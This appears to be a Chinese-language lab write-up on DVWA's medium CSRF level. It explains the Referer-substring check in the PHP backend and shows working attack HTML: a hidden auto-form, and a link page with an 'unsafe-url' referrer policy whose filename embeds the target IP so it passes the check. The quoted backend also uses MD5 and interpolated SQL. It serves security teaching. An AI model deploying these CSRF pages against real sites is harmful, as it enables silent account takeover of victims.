CSRF攻击(2), 绕过Referer防御
一. 场景:
py
攻击服务器: 192.168.112.202
目标服务器: 192.168.112.200
说明:
1. 前端页面的功能是修改密码.
2. 将恶意页面放到202服务器上, 在目标200服务器上访问恶意页面, 目的是绕过200服务器上对CSRF的防御, 修改密码.
二. 后端防御代码:
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
三. 代码分析:
$_SERVER['HTTP_REFERER']
: 这是一个超全局变量,它从HTTP请求中提取Referer头部的值。Referer头部表示请求的来源页URL。
例如,如果你从pageA.html点击一个链接到pageB.html,那么在访问pageB.html时,HTTP_REFERER将包含pageA.html的URL。$_SERVER['SERVER_NAME']
: 这是另一个超全局变量,它包含当前服务器的名称。这通常是与请求相关联的域名或主机名。stripos()
: 这是一个PHP函数,用于查找一个字符串在另一个字符串中首次出现的位置,而不区分大小写。stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false
:
这是一个条件判断,用于检查SERVER_NAME(即当前服务器的名字)是否出现在HTTP_REFERER中。
如果出现,则stripos()函数将返回该位置(一个非负整数),否则返回false。
使用!== false
是为了确保检查不仅仅是真假,还要检查数据类型(即确保不是因为位置为0而误判为false)。
四. 绕过方法:
当使用一个普通的表单类型的钓鱼链接时, 比如 http://192.168.112.202/csrf.html
html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="root" />
<input type="hidden" name="password_conf" value="root" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
访问后观察请求头
:
py
Referer: http://192.168.112.202/
这里看到表单类型的链接, 点击后 Referer 只包含攻击者的ip, 并没有目标ip, 因此被防御.
现在我们需要让 Referer 字段中包含目标服务器的IP, 需要两个步骤:
1. 不能使用表单链接, 而是使用一个的超链接<a>
, 超链接被点击后, Referer字段会包含这个html的文件名:
html
<a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
<img src="http://192.168.112.202/test.jpg"/></a>
这个html页面在202
服务器, 但它里面的链接是向200
服务器发送请求.
需要注意
的是, 现代浏览器对于跨域
请求的默认Referer头处理。
当请求是同源的(即在相同的域、协议和端口上),Referer通常会包含完整的URL。
但是,对于跨域请求,许多浏览器的默认行为是仅发送请求的源作为Referer,而不包括完整的路径和查询参数。
为了避免出现这种情况, 可以在HTML文件中使用<meta>
标签来设置Referrer-Policy
策略.
在HTML中使用<meta name="referrer" content="unsafe-url">
标签会指示浏览器在发送请求时使用"unsafe-url"
策略,这将导致浏览器在Referer头中发送完整的URL,无论请求是否跨域
, 浏览器会根据这个策略发送Referer头.
设置策略为 "unsafe-url"
:
html
<!DOCTYPE html>
<head>
<meta name="referrer" content="unsafe-url">
</head>
<body>
<a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
<img src="http://192.168.112.202/test.jpg"/></a>
</body>
</html>
2. 把这个html文件命名为 csrf_192.168.112.200.html
, 重点是文件名中包含了目标服务器的地址
, 那么完整的恶意链接就是:
html
http://192.168.112.202/csrf_192.168.112.200.html
当这个图片链接被用户点击后观察请求头
:
py
Referer: http://192.168.112.202/csrf_192.168.112.200.html
这里可以看到 Referer 中由于包含了文件名, 所以就间接包含有目标服务器的ip, 绕过了后端对 SERVER_NAME 的判断, 密码修改成功.